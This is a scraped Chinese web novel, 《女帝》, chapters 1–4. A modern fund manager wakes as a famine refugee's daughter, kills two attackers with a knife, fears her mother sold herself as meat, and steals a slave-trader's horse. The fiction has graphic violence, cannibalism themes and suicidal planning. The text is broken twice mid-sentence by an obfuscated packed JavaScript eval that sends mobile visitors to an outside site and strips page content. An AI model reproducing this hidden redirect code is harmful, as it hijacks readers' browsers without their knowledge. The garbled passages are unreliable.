《女帝》 1. 大饥 上辈子的楚琛从来不吃动物内脏。 还有香菜，还有肥肉，还有鱼皮和鱼头，还有一切需要自行剥半天的虾与蟹。丰饶的现代社会和七位数的年薪筑就了她拒绝一切不适口食物的底气和习惯，正因如此，当这辈子的楚琛面对一份由陶土罐盛来的黄绿色老鼠汤时，喉头一抖，差点直接呕出来。 但不能吐。印象中，上一顿自己只吞下些树皮草籽糊。而即使加上那几口糊糊，她胃里也实在算不得有什么东西。 将陶罐送到眼皮下的，是一位半跪着的中年妇人。妇人蓬头垢面，身上是肮脏破旧的古装，身后是苍茫无际的田野。田野之上，零零散散的逃荒饥民正在沉默地蹒跚前行，仿佛行尸走肉。 饥饿像是一头以音量为食的无形巨兽，使得脚步声变轻，倒地声趋无，哀哭声嚎啕声能传远前便湮灭成游丝。举目所及，唯见趋枯的河流与枯黄的荒地，树木缺皮，野草拔光，连干涸的河床都有被挖掘啃食的痕迹。 而她面前，不仅有水，水里还泡着一只作为荤食的去毛老鼠，和可充作主食的狗尾草草籽。见她没有喝的意思，托着鼠汤的妇人再将陶罐往上递了递，动作到一半，又堪堪停住，手从罐腰挪到罐沿。这下，大半罐子被她的粗布袖子和佝偻身形遮住，赫然是防他人觊觎与抢夺的姿态。 很自然的，距离一近，那股混合着草腥、鼠臊和经年汗馊的怪味直冲鼻腔。太近了……近得楚琛怀疑下一秒，妇人就要执行全世界饲养员的必备技能：把罐里硬食拈起，塞进她这被饲养生物嘴里，再把罐子一怼一斜，达成强行送服。 楚琛不想吃老鼠，可也不敢推——这点油腥，这点草籽，在这时这鬼地方绝对比金子还宝贵。她扯开自己发粘的嘴唇，对陶罐后的妇人挤出个艰难的笑。 “娘，你自己吃。”楚琛道，“女儿没胃口。” 妇人脸上也挤出个笑，沾泥的手固执地推罐子：“阿琛，娘饱了。” “娘啊，你女正病着，吃了也得吐。”楚琛索性将话挑明了。“您有力气，先吃。活下一个，好过一起饿死。” “小孩子家，说的什么话！”妇人当即怒目，“要是让你爹听见……” 妇人突兀地住了嘴，因营养不良而浮肿的面皮也浮出些许怏怏。楚琛不知其中隐情，更不好接腔，干脆偏头闭了眼。半晌，妇人叹口气，终于挪开那只陶罐，开始慢慢啜吸。 楚琛也终于松口气。她侧过身，臂往下放，膝往上抬，把自己蜷成弧状。 是上辈子赖床对付饥饿的老办法。然而现在，闭着眼，听着远方的风声与近处的吞咽声，只是更饿了。 究竟哪环节导致自己竟落到这境地呢？楚琛想不通。 就网文总结，穿越自有其规矩：不是起点于孤儿院，好歹也是个无牵无挂的人物。自己呢？父母康健，事业顺遂，刚交了二套房首付，跨海而来的新显卡还在路上，打折囤的游戏连下载都没点开…… 非要说有什么稀奇处，也就是这趟旅游路过某处道观。秉持华夏人逢神拜拜不吃亏的传统，随大流地进去，随大流地求身强力壮，升职加薪，资产翻倍。 哦，还有，拜完在园林里乱逛时，碰着一位顶盔掼甲的高个美女…… 旅游景点么，一身轻便的多，宽袍大袖的有，披甲还戴兜鍪的实在罕见。自己是多看那么两三眼，那美女就来问兴趣。自己一口回绝了，那美女却神秘一笑，告知自家可不是那些拉人租衣服拍照的，是专业做兵甲的。 ——这不是比出租服装加照相的套路诓得更多么？ 楚琛仍记得，那时自己瞬间警惕心起，当场反问：这一身威武铁甲披挂整齐，是能赶公交呢，还是能挤地铁？ 噎住对方，溜之大吉。其后一路顺利，既没遇上地裂天崩，也没有泥头车突袭。平安回到酒店，游泳，健身，下午茶，晚餐，定闹钟，收拾行李…… 万万没想到，一醒换了世界换了壳。 “琛儿。”此刻所用躯体的娘楚李氏又出声：“娘饱了，你多少吃点，吃过才有气力赶路——” “赶个屁的路。”楚琛有气无力地一嗤。“亲娘，我发烧啊。要是今晚还不退，你赶紧走，莫要当真死在一块了。” 楚琛记得非常清楚，刚醒来那会儿，抑或说刚穿来那会儿，最直接的感想，便是饿。 并不是寻常饿，是整个消化系统向外发散的虚与空，仿佛被掏空了五脏六腑。 继而是烫。 也不只是体表滚烫，是骨髓升起火，自骨缝往外烧。烧得视野模糊头脑浑噩，满心以为身处一场大梦。 否则没法解释睁眼一个古装髻子妇人俯下来，自己对着这张没戴口罩的脸，脱口便是一声娘。 喊完才恍惚记起，远在二十一世纪的那位亲娘绝对没这么多头发…… 可这位发量丰厚到能盘髻的天降之娘动作麻利，直接上手来掰下巴，一勺接一勺，把某种干涩刮喉的泥土味糊糊往嘴里填。 喉咙烧得像吞了砂纸，而这几口还远远不够。楚琛满脑子问号，却莫名安心，就这么又昏睡过去……昏睡到再被摇醒，面对这罐老鼠汤。 这一下，彻底清醒，也彻底傻眼。 两段截然不同的记忆正同时在脑子里流淌。一段清晰完整：二十九岁，私募基金管理人；一段断续朦胧：不知十二三还是十三四……反正是个打杂童工。 两段人生，一个人。楚琛愕然开口，嗓音沙哑陌生，口音从未听闻，一词一句却能听懂。 穿了。还倒霉地穿成个病号。混金融圈那么多年，这点现实得认。 可惜，认了也白搭。 原主八成病故，此地又没有后世医疗条件，甚至连口干净吃喝都难。要是穿到个太平盛世，病倒了吃老鼠吃草籽，那叫做生活所迫；能扛过去，那就是意志坚强，珍惜生命…… ……现在？ 在这有树皮可扒、有草根可挖都算上天垂怜的关头，病倒了吃亲娘饿着肚子省下的老鼠和草籽，真不如就此摆烂，给家人腾个活路。 比如这位——连名字都记不全的李氏。 是笔划算账： 李氏，壮年，营养不良，但身子骨还算结实；自己，高烧，未成年，纯拖累。 扔了拖累保主力，生存率飙升。逻辑通。 自己呢？死了穿回去，赚。穿不回去拉倒，不亏。 但李氏不干。 躺平等死的楚琛只觉身畔一响，耳根剧痛，李氏直接拎起她的耳朵连带耳畔半把头发，将她由蜷卧薅成半躺，又一把揪住她头顶胡乱盘着的头毛—— “嗷娘！痛！” 李氏横眉竖眼，唾沫星子混着口臭喷来一脸：“你吃不吃！” 楚琛的脾气顿时也顶了上来：“我不吃！你能不能自己吃？！” “娘专为你换的！” “我求你换了？我今年奖金税后八百万！我图你这吃老鼠了还是吃草了？！” “你——你说甚么狗屁！你是要气杀你老娘！” “哈，我死了你都没事。” 啪地一下，头顶一松，她被怎么拎起，就被怎么扔下。楚琛瞪着李氏，李氏瞪着她。半响，兴许是眼眶酸了，李氏错开眼，佝偻着来拿垫在她背后的布口袋。 这配方略略有点眼熟，楚琛冷漠地在心里计起数—— 一。 二。 “琛儿，你长大了，翅膀硬了……” ……救命！这是什么家长通用技能包？你怎么和我妈一个样啊？！ 完全猜中的楚琛面无表情，拒绝回应。视线和李氏相撞，眼见着李氏顿了顿，在东亚家长标配台词包之外又续个经典叹气： “你自小就是个有主意的，娘管不了你……” 楚琛沉默地往边上让，才挪半步，手头一沉，李氏却把那布口袋塞过来，还从身后掏出把解腕尖刀，用力抓住她的手。 “娘先走了……答应娘，过了今晚。先过了今晚。” 楚琛一阵莫名其妙。 计划很简单，假装睡觉，待李氏走远，找找四周、看看袖里后背硌着的有没有个尖锐物体，能否支持抹个颈动脉之类的。结果，结果这人倒好，转身就真走，走之前还贴心留刀—— 这……难不成，夺舍暴露了？看穿了？ ——暴露就暴露了！自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203624|181264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家年终奖都几百万，凭什么来当饥民病号了？！ “答应娘！”李氏的手仍死死攥着。 楚琛胡乱点头：“哎！哎？” 李氏手劲一卸，转身走了，全没先前劝吃老鼠时的那番絮叨拉扯，走得相当干脆。 楚琛不明所以，抱着布袋重新倒下、闭眼，几息后，猛地坐起，目光扫向枯草堆—— 那只脏陶罐，李氏没带走。 拨开草。罐子里，老鼠泡在灰黄汤中。 皮包骨，眼望天，品相完好。 之前的啜吸声，分明是李氏装的。 一股说不清道不明的怪异感腾起来。 楚琛烦躁地挠挠头，总觉得抓住了什么，却又说不清。她拥过布袋，拖过陶罐，继而猛一激灵。 却是三个矮小饥民，大约注意到她和李氏推让陶罐，正满眼贪婪地慢慢接近。 楚琛一声不吭，左手紧夹陶罐，右手探进布袋，攥住刀柄，也徐徐站起身。 饥民定住。 楚琛完全站直，刀尖抬起，对准。 那三人开始不情不愿地后蹭。一步。再一大步。又蹭半步—— 停下了。 楚琛盯着他们，他们盯着瓦罐，不时打量一下她。 她没说话，他们亦未张嘴。 但此刻根本不需要言语。饥饿吞噬了所有人的沟通欲，徒留下无言的体力对峙与凶狠的眼神撕咬。 五秒。十秒。十五秒—— 饥民再退，神情不甘。 楚琛也不敢放下刀。 竟又是死局： 计划是销号赌穿回，吃它等于浪费。但东西已被人盯上，再不吃，绝对保不住： 问题是，真不吃，碰上下一波人，还能保住吗？还有，李氏那句“等明晚”，完全看不出有什么意—— ——不。 不对！ 一股刺骨寒意，自骨髓深处涌出，漫过两段记忆相撞的晕，冻结腹中灼灼如火的饿： 已知，自己正生病。 已知，此地正闹饥荒，到处是逃荒的饥民。 已知，背后那只破布袋，是全家此刻全部家当。 自己身处荒郊野外，周围市集不存，李氏喂糊糊用碗，送鼠汤用罐，离开前什么都没带，甚至留下那把既算财物又能防身的刀，反复强调要等到明晚…… ……她确定！明晚之前，“食物”会来！ 可，这四野茫茫，食物能从哪来？既知必有食物，李氏为什么走？为什么非要女儿留下等？ 楚琛审视那三人—— 慑于手中尖刀，他们退了，眼珠子却还死盯着罐子，像饿狗盯骨头，像屠夫盯着斤两…… ……所有的疑问与细节在脑海中重新排列组合，融会贯通，组成一句恐怖的诗、一个恐怖的可能—— 母女年饥同饿死，不如母向菜人市！ 大饥的时节，为了让孩子活下去，做母亲的愿意将自己当作菜那样卖掉，给孩子留下生机…… 要是真的听话地、傻乎乎地在这守到天明，晚上碰到会是什么？一碗“善心人”给的肉？还是几个循着李氏暴露的坐标而来、打算把她一锅煮了的饿鬼？ 不过…… 要论饿鬼，自己这头，也不是没有。 “……站住。” 楚琛平稳开口。将陶罐以肘弯夹，尖刀换左手持，右手猛地插进汤里，捞出那只干瘪老鼠，直直举起，脚下再往前一步。 正在后退的饥民停住。他们看着她手里的鼠，她看着他们的脸——黄瘦，干瘪，比自己高不了多少，比李氏更糟。 他们能被食物吸引，却又惧于武器。手无寸铁，彼此间没有配合，没有交流，甚至连互相靠近都没有尝试…… 他们会遵循本能寻找机会，却依然能够被吓退。 暂时能用。即便翻脸，也够拉一个垫背。 很危险。 可，若是李氏当真进了菜人市……就这三人！哪怕只诓住一个！加自己—— 值得一赌。 “我，知道哪里有吃的。”楚琛缓缓道，“随我就食者，有否？” 2. 身份 雇三个临时工的正常花费应该是多少？ 在楚琛上辈子那个超大城市，哪怕是半天，那也得两千——够请个带料的上门厨师，够找个带人入门的新手教练，也够砌堵替代衣柜的墙。 但最重要，是丰饶的底气，秩序的保障——出钱的只管付钱，用不着额外提上刀枪。干活的直接开干，也不会为这点工钱自砸招牌。 而此时此刻此地，三个正值壮年的劳动力，会为一只煮熟的老鼠驻足。 甚至不止于此。当鼠被捞出陶罐，无人嫌弃种属，无人计较大小，更无人在意那只手是不是刚碰过泥…… 他们的视线钉死它。 也许还有她。 喉结滚动，几乎同时。 可欺！ ——可食！ 空气像是裂了一下。就在耳边。 可有没有裂，不重要了。没谁回应，也没人犹豫，三人直冲！ 楚琛回神之时，鼠已丢回陶罐。罐里解腕刀，已在手中。 刀尖朝下，刀刃朝前，反手握持。一切都自然而然。手臂延着刀线拉直，铁铸的五指收死。 脑后发凉。热退了，像从骨缝里抽出一线火。 楚琛记了起来。 抑或说，这具身体记了起来—— 自己，是显州屠户楚有财的独女，是楚氏留家主祠的长女。自记事起，父母不断耳提面命的，是将来要继承肉铺，将来会招赘而非出嫁，将来得杀很多口猪。 人比猪好杀。 肘关节先转，带出肱二头肌与三头肌的拉扯。也可能是肌肉先缩，拉着骨头走。无所谓。动起来了。三个人扑上来，像围案挑肉的买主。她看他们，也只是三块活货—— 起步！抢身！ 钢铁自下而上，豁开皮肉，直贯脏腑！ 像撕开一只装满热浆的布袋，鲜血顺着刀脊涌上，和杀鸡宰羊并无二致。唯一的好处，大约是没谁吩咐要接下那些宝贵的血。楚琛脚下一顶，刀身一拧—— 刀锋在第一个人的肉里旋出一道裂口，腹壁绽开，血肉翻卷而出，一如案板上没剔净的肋条。第二个人却嘶嚎出声——他没被惊退，反倒抓了过来！ 那是张颊肉凹陷的脸，横着双饿疯了的眼，距点亮食人成就绝对只差一个适口的倒霉鬼。但，这第二个近在咫尺了，自家腰腿却仍在顶着第一个向前，手尚未抽出捅在脏器中的刀，指间满是发滑的血！ 屠户之女楚琛，八岁入自家肉铺帮忙，所学所见，只囿于屠刀与血肉的方寸，一生经验至此为止。 但后世的楚琛，却活在一个满是屏幕的时代，活在六块屏幕之间。 那扇屏幕阵列里奔涌的金钱数字，联通着新时代的放血槽。牛蹄印里粘的是鲜脑浆，熊爪痕间挂的是现割肉。每个从牛熊搏杀的尸堆里爬出来的幸存者，都能从液晶屏的冷光间窥得最真实自我。 楚琛窥见的是杀意。 那源出于何？楚琛并不知晓。但它驱使她练拳，学摔跤，钻研一切能击倒对手的方式。 现在，信息重组完成。 肉铺的屠刀，对接过屏幕时代的每一根血线。旧砧板与新战场，于这一刻并轨。楚琛一条腿本能后撤，重心霎时倒回—— 喀。 声自膝关节裂出，腰与脊背一并炸响。楚琛拗成一张满弓，险之又险地避过那一抓—— 卡住的屠户之女数据库得以重启上线，后世的楚琛亦取舍完毕—— 事实上，这不配称什么取舍。 楚琛拍出怀抱的陶罐，双手持刀，一记直刺。 刀刃入肉，丝滑，快速，流畅，仿佛推开一层温热的水，仿佛她的手正是为此而生。 血顺着刀柄爬上来，被捅中的身形摇晃，喉管溢出漏气似的嗬-嗬，双手胡乱摸索从脸上流下的草籽；之前被捅的那个也在晃，双手抓摸着想堵住胸腹裂口。他们一齐倒下…… 但，还有一个。 最后的那个。他原本落在最后，此刻却成功扑得搏斗时顾不上的鼠肉，抓着半块残粥瓦罐。他的腿脚想要后撤，手在往口中倒粥，他回过头—— “站住。”楚琛说。 饥民果然僵住。 楚琛看着他，胳膊一震，甩去了刀柄刀身上将落未落的血。 这一下像是电击。饥民眼角抽，嘴唇抽，捏住盛粥碎陶的指头抽，紧跟着，那抽搐飞快传播到了饥民的腿脚。 “饶命！好汉饶命！” 饥民跪下，抠出嘴里熟鼠。 楚琛瞪着它。 啮齿动物扭曲的躯干印着齿痕，沾着口水与沙砾，托在一只肮脏枯瘦的手里。恶心的景象。更恶心的食物。 可却有股本能在提醒，这是块肉。 一块已经煮熟的肉。 楚琛吞了口口水。 饿。 真饿啊。现在，这块肉的种属不重要，牙印与唾液也不再恶心……不。何止这块鼠肉，连地上的鲜血，血泊上的尸体，都显得，显得—— 楚琛劈手夺过鼠肉。 “你去……”她费力地吞下又一口口水。“你去看看，还有无活口。” 跪着的饥民抬头望来一眼，神情既惊且惧，行动倒是没迟疑。楚琛徐徐吐气，双眼紧追着他，持刀的手不动，持肉的手飞速一反，蹭过头顶。 ……果然。 一根短木棍，从男式发髻里蹭出来。没花样，也无打磨，大概就是根木筷。 发髻很薄，比记忆里的李氏还要薄一圈。发上油多，触手可感的黏。 楚琛面无表情地放下手，把找河、找井、找剪刀的冲动一并压下。 被喊好汉，代表伪装到位；头发油腻，代表营养曾足；无法通过发型判断年代……什么都不能代表。三者相加，代表有比个人卫生状况更值得关注的事： 饥荒，自己却昏过去过。 高烧，孤身，无人看护。这般处境，别说靠发髻、脏污和一把烧哑的嗓子伪装男人，哪怕天生就是个男人，饿红眼的饥民，一样能把两脚羊片进锅里。 问题在于，那个唯一的照顾者，那位本地的亲娘，不仅自行离开过，很可能还不止一次。 为什么？ 楚琛锁着眉，陷入更大的不解。那个躬身查看状况的饥民倒是抬了头，全无先前那股视她为无物的劲头，甚至浮出来一股隐约的谄媚。 “好汉，都没气了。” 他讨好地笑：“好汉少年英杰，功夫利落，年少有为……” “我知道。”楚琛冷冷打断，“见我年少力弱，于是欺我？” “好教小官人知晓，小的没本事，昨日至今，只寻得两口柳树皮，饿蒙了眼，冲撞了小官人。”饥民笑更恭，声更低，“小官人宽宏……地上这一把子草米，不要了吧？” “我拿不准。”楚琛坦然道，“这粥这鼠，我母血肉换得。我疑心她遭了骗，正要去退，却因你等起了歹意，撒在这里。你说，我拿上碎块，他们认么？” “啊？这，这……这想来，是不认的。” “再加你。”楚琛舔了舔嘴唇，“我假意用你换粮，待见了那收肉的，你自行躲开，我寻机去捅。事成之后，肉给你，抢来的粮，也分你一碗，怎样？” 是早前想说却没来得及出口的方案，这会说出来，荒谬感不减反增。 原先想招的三人，已死了两个，主力只剩自己。既无退路，也无补救。 不过，另一端，是挨饿，吃人，甚至自家被煮。 楚琛尽可能诚恳地望着饥民，跪着的饥民却只呆愣愣地回看她，还是满脸讨好的笑。 “那……小官人，草米不要了吧？” 多年后，面对自动压上他人脖颈的刀锋，楚琛偶尔会反思半秒自己的熟练，接着依然故我。可此时此刻，楚琛只感到了越来越迫切的饿。饿，令她暴躁，恼怒，懒得讨价还价。 她手一动，刀抬起来，血还没干，就停在饥民脸边。 “你，欺我刀不利？” “……小官人？说什么？” 楚琛嗤笑，刀往下，落至饥民脖子边。 “莫装傻。” 那副讨好的笑抽动了。 “小官人说甚……” 楚琛摇头，手腕也晃动，刀身擦过饥民肮脏的领子，微笑：“真不懂？” “……这，这，小官人，好汉，哥哥，莫动刀，莫动刀，是 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捡地上破瓦罐里残存的草籽？更不值一提。 楚琛望眼地面，半跪下去，没有任何嫌弃的想法，也提不起丝毫挑食的兴趣。四周佝偻着的人影全都避得远远的，没人敢再来碰碰运气。她安心地拣着碎罐片，一块接一块。 罐子本就不大，碎了更少。凑得七八块，塞满后世的一大口都嫌勉强。楚琛数着碎块上的草籽，心痛先前的那一甩。余光之中，却见那饥民神色变幻。 此刻，她半背对对方，无论拔刀还是闪避，都得损失几块宝贵碎块。楚琛心中破口大骂，刚摸上刀，那饥民却双手垂前，头亦垂前。 这晃神只有一瞬，饥民膝行半步，没来撞，没来抢，只是猛地叩首—— “小的钱二柱，跟，跟郎君干了！” “你，”楚琛眯眼，“你刚说的，大点声，再说一遍。” 楚琛死死盯着饥民，既是施压，也带惊疑。饥民呆愣回望，表情与先前毫无二致，也许在装——也许没有。 愕然又茫然地，楚琛凝神—— 世界延缓。 不是第一次。刀柄握紧时，躲过致命一扑时，这短暂凝滞也曾降临。像因紧张，像因肌肉记忆，像因高烧未退，像因肾上腺素的汹涌分泌，可此刻，此刻…… 楚琛听见，自己在呼吸。 很漫长，每一丝气息都清晰至极，仿佛一整个峡谷被风贯穿。心跳也慢，一下、一下，像石头在肋骨里敲击。 味道分层了：腥臭、汗酸、血液铁锈。血味和泥味源出自己——手臂，刀柄，衣袖，脚边尚未冷却的泥地。腥臭和汗酸来自正前方的跪拜者， 那颗头颅正缓缓下磕，那头发肮脏积垢，那颈项粗糙泛灰。下刀，很容易。 一个念头闪了：机会。 接着一个：会溅一身血。 第三个砸下来：有响声！ 所有知觉感官瞬间弹回！如同长跑半途砸上前额的第一滴冷雨，又似水下之人骤然浮出。楚琛浑身一震—— 没时间琢磨这种慢镜头似的思维流了。这是有规律的闷响……正值饥荒，身处平原，饥民在聚！ 不可能是送粮的马队，是收人的！ 资本市场老赌徒的直觉刀锋一样亮起来。风险意味着获利，天灾人祸不过又一场洗牌。可此刻，所有底牌都被抽空：没有黄金，没有八位数的现金流，没有备用的3D打印枪械，甚至没有被玩笑过千万不能变成丧尸的身体。 只剩下命和刀，只有饿和杀。筹码彻底归零。 远方，队伍逼近；眼前，饥民额头堪堪磕地。 “小人钱二柱！”他嘶哑的声音放得更大，喊得尾音都劈叉。“跟郎君干了！” 楚琛长长吸了口气。 “很好。你起来。”她勉强扯起嘴角，“这一票过去，若我侥幸不死，不会少你一口吃……不，省口气，别跪了。听。” 她一手扣住他肩膀，将人从地上提起，示意他听向那响动的来源。 “听到了么？记得我刚才说的吗？” “那些收活人的，来了。” 3. 谈价 楚琛猜对了一半。来的那行人并未明抢。六骑裹着平民装束，沿干枯的河床一路疾驰。蹄铁刨起枯土，扑打在饥民灰败的脸上。到人群最密处，为首骑手勒马，喉管里迸出吆喝： “我家大郎收使女家奴，使女十岁起，十五止，米三升！长相俊俏多一升！家奴十五起，三十止！米两升！” 楚琛眯眼。此地的一升，约摸就后世电商试吃装的一小袋，一到两斤。几小袋不到，换个少女；再添点，买个青壮。 荒唐得仿佛梦呓，可尘土飞起的那一头，已有饥民拖儿拽女地挤进去了。 胃袋空得发疼，但没到把自己塞进更黑窟窿的地步，也暂且没人敢拿自己换粮…… 暂时与己无关。 楚琛转身，正要往李氏离开的方位去，袖口却一沉。是钱二柱。 “那个……小郎君，”他犹犹豫豫地，“他们收家奴。” “你想去？”楚琛冷冷问。 “不是，小郎君，”钱二柱压低声音，“他们有马。” 楚琛神色一顿，站定了，也转过头。 流民道上逢马队，最凶不过乱军马匪。这帮人啃不动地主豪商，不敢碰官员士绅，那便只能将獠牙对准更孱弱的脊梁。抢走活命粮不算，往往还要顺手砍几刀，行事毫无顾忌。 其次，便是人牙贩子，乃至与他们蛇鼠一窝的高门大户、王侯贵胄派出的爪牙家丁。当天灾人祸，这些人便出门，或拿陈米劣食，或径直亮出刀剑绳索，捆得一堆乡民百姓，或低买高卖，或自家驱用…… 两者相比，前者快刀速死，后者钝刀慢割，但凡有些见识的，早该远远躲开。 此刻河对岸卷来的尘土腥气，分明属于后者。六条人影骑在马上：发髻束得齐整，脸颊透着血色，腰间或悬刀或挂剑，身上那层粗布袍子虽旧，却比周遭饥民褴褛露肉的破布强出百倍……本该避的，越远越好。 但钱二柱说得没错，他们有马。 要救李氏，非救不可。既是这个打算，靠马比靠腿强，利用畜力好过自己消耗。 就算夺不来活的，那也是肉。 是肉！扎扎实实的畜肉！才不是活见鬼的耗子，更不是语焉不详的两脚羊！ 再者，从那罐老鼠粥出发，要是人市支持以物换人，要是能夺一匹马，哪怕是伤的、死的，也许都能抵掉李氏的价…… 钱二柱似是嗅出她的迟疑，又挤出一句：“小郎君，小人……二十有八。” 他不说还好，一说，楚琛顿时回神：“你倒像四十八。” 钱二柱苦着脸：“小的真是二十八。” “不像，你少说也有三十八，说四十也无碍。”楚琛上上下下打量他。“会骑马么？跑不跑得动？” “会马，会骑马，小的从前在辽州张家做车夫。”钱二柱苦笑，“跑……小的尽力……” “我要实话。”楚琛嗤笑：“你，还能不能跑？跑不跑得动？” “能……”钱二柱小心翼翼地看着她：“……不能。” 楚琛：“……” 楚琛默默做了个深呼吸。 要干吗？二对六？ 不。更该说赌自己独面群獠……这预定帮手的佝偻的背脊正发颤，现在嘴上是说着，动起手来怕是立马尿裤子跑路。 但胜算并非全无。烧退了，融来的记忆滚烫，筋骨却绷得更紧。屠宰、分割、驱使牲畜、那把解腕尖刀嵌入掌纹的触感……叠加后世积累，新发现的能力—— 要是突袭…… 一顿一顿地，楚琛视线投向河岸那六点人影，焊死，凝神，凝神，再凝神—— 世界胶凝。 枯河、烟尘、饥民，全冻进浑浊的琥珀。河对岸，为首中年人正捏开矮小女孩的嘴，指头抠进牙床，像挑选牲畜；身后随从的木勺悬在半空，米粒凝滞如铁砂；更远处，被卖者脸上麻木如死。 驰来的六人、正向他们去的饥民、避开他们抑或也正盯着他们的饥民，所有人的位置映入脑海，所有可能的动向在站位上重叠—— 楚琛落下去。砸进那正在交易的队伍里，解腕刀捅进中年人肋下软肉，反腕一绞！ 死寂的幻影炸开。如水珠入热油。有人尖叫，有人奔逃，有刀剑破空，有人扑向倒地的头领。寒光自八方劈至，无甲的骨肉在铁器下绽成血泥—— 不对。重来。 时空倒转，人影复位。楚琛再落，刀锋转向——直刺买人者的坐骑！ 混乱重新降临，嘶鸣裂耳，刀光马蹄乱舞。袭来的除开刀剑，又多了马腿。 也不对。夺马是为救人，而非使他人伤令自己亡。这既没必要，也很愚蠢。 再度回退，目标-杀伤与恐惧，删除。调整：制造混乱。 无形无质的棋枰第三次铺展。虚实交叠的杀阵里，楚琛推演，拆解，剖析。劈手夺粮引发哄抢？佯装官差虚张声势？一遍又一遍，她血溅当场。 喉间泛起铁锈味，被强行压制的饥饿化作野火，自肠胃逆行烧至食道。虎口冷汗浸透刀柄。一遍又一遍，指节在木柄上攥紧、松开、再攥紧—— 当啷。 指节松开，尖刀落地。楚琛随手捞起，粗布衣襟狠狠抹过刃口，反手藏入后腰。目光转向钱二柱，面带微笑，语声轻缓。 “去抓些干砂土，跟紧我。”楚琛说，“我讲价，我动手，我说什么你认，我喊什么你跟。若我被缠上，你趁乱扬他们的眼。其他生死由命了，懂吗？” 钱二柱看过来，不知为何，浑身一哆嗦。 “唉……唉，小郎君，要不然，算了。”他嘴唇嗫嚅，“小郎君不是还要……救人……” “是，我有人要救。”楚琛声音更低，“所以我得活着……我会活。你你也能活。运气好的话，你我还能吃饱。” “可、可是……” “还想啃耗子？” “有耗子也……” “闭嘴！” 楚琛不再废话。径自蹲身，一把攥起河床干透的砂土，又几步蹚到未枯的泥水边，胡乱抹把脸，向那六骑圈出的地方去。钱二柱磨磨蹭蹭地，终究跟了上来。 尚未走到近前，那领头的兀自上了马，大声喊道：“人收齐了！不收了！不收了！” 钱二柱连忙来拉她：“小郎君——” “闭嘴。你继续走。”楚琛低吼，继而用力一清嗓子，大声喊道：“我识数！会算账！” 声音才传出，那本已调转马头的领头者便勒缰急转。视线撇过来，看货物似的来回端量几下—— “有田广十二步，从十四步，问为田几何啊？” ……什么鬼。 楚琛当场一愕。 “从”是什么？“广”又为何？不过，与田地有关，永远逃不开面积。面积是长乘宽，到这就是从乘广—— 脑内飞速一算，楚琛硬着头皮答道：“一百六十八！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203626|181264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “——咦？” 领头者策马走近，又道：“那田广十六步，从十三步，为田几何？” 蒙对了！楚琛大松一口气：“二百零八！” “算得准。”领头的赞道，“行，加你一个！”他视线越过她肩头，扫向钱二柱，“那是你爹？可也会算？” “是我哥。他不会。”楚琛道，“像我这样的，最少值……值一斗米！” 一斗等于十升，领头的当即嗤笑：“小子，你以为你是哪家高门落难的小娘子？这年头这地界，就是那南朝来的小娇娘，顶天了八升！” 他拨转马头，缰绳一抖，作势要走，空着的手随意摆在大腿侧，佩剑斜插鞍前，浑身破绽，浑身皆是己为刀俎她为鱼肉的自信……是个机会！后腰刀柄硌着皮肉。至于唯一的那个手下？管不了了。 “好。”楚琛说，“就，就两升。” “慢着，”领头者狐疑侧身，“你结巴？结巴一升半。” 职业贩子才爱这么压价，其次便是吃大户人家回扣的。但都不重要了……他们很近，非常近。 “我不结巴。”楚琛低声说，“我只是紧张。”她的双手猛地扣死那领头者的胳膊。“你多担待。”她牙关骤紧，陡然发力—— 扑。 领头的离鞍飞坠，屁股着地，滚向一边。楚琛立即松手探身，一把攫住鞍带，身体砸上马鞍。 皮革的硬冷透过薄衫，直刺皮肉，乍逢易主的马匹迷茫地在原地打了个转。楚琛左脚急探入镫，右手捞住缰绳，俯仰之间，重心瞬间咬合，仿佛这匹马本就是腿脚延伸。 不远处，摔得灰头土脸的人牙贩挣扎爬起，满脸惊怒交加—— “贼子尔敢！” “我当然敢。”楚琛龇牙一笑，自然探手，鞍前被对方遗忘的剑呛啷出鞘。 后世骑术班没覆盖这个，游戏里倒熟，可惜打得再多也没用。不过一寸长一寸强，吓唬人，长的可比短的好。楚琛执剑在手，用力一夹马肚，抢来的马立即跑动，蹄下尘沙飞舞，人牙贩慌忙躲闪，又摔一跤。 目前为止，一切居然比推演还顺。楚琛环顾四周：河滩两头，多数人呆愣愣地戳在那看，少数人拖着步子挪近来看。只有钱二柱，见事态转好，咧着嘴扑来：“小郎君！” 手朝她伸出，指甲缝与手掌挂满沙痕，看来着实听从了吩咐，就是着实不会选时机。他背后不远，那伙人贩余党终于惊醒，有人提剑，催马，将要上前—— 已然近前。 意料之中。 古代，马匹是座驾，是劳力，是骑手的第二条命。当人命贱如草芥时，它贵过马背上的人。 没谁会坐视它被抢跑。哪怕它只是一匹寻常驽马。留不住的。哪怕此刻马鞍还压在屁股下。 骑手蹄声如闷鼓擂地。 楚琛缓缓吸气，剑锋随呼吸微转—— 这场穿越倒非全无红利。至少，此刻意识中这抻长的、凝固的时间里，她能计算，能演绎，能将刀锋轨迹逐一缕析。只要这身骨肉跟得上，莫说夺马，那将是割草无双，是全身而退。 然而，理论只是理论，仍有几个变量，它们决定着几分钟后，她将是沙地上又一滩踌躇满志过的血，还是能展望其他。 那就是，这能力，其他人是否也有。而在此基础上，这鬼地方，是否可能发展出传说中的武功。一个前来收货的人贩团伙，又有多大可能募得这类武林好手。 4. 劫马 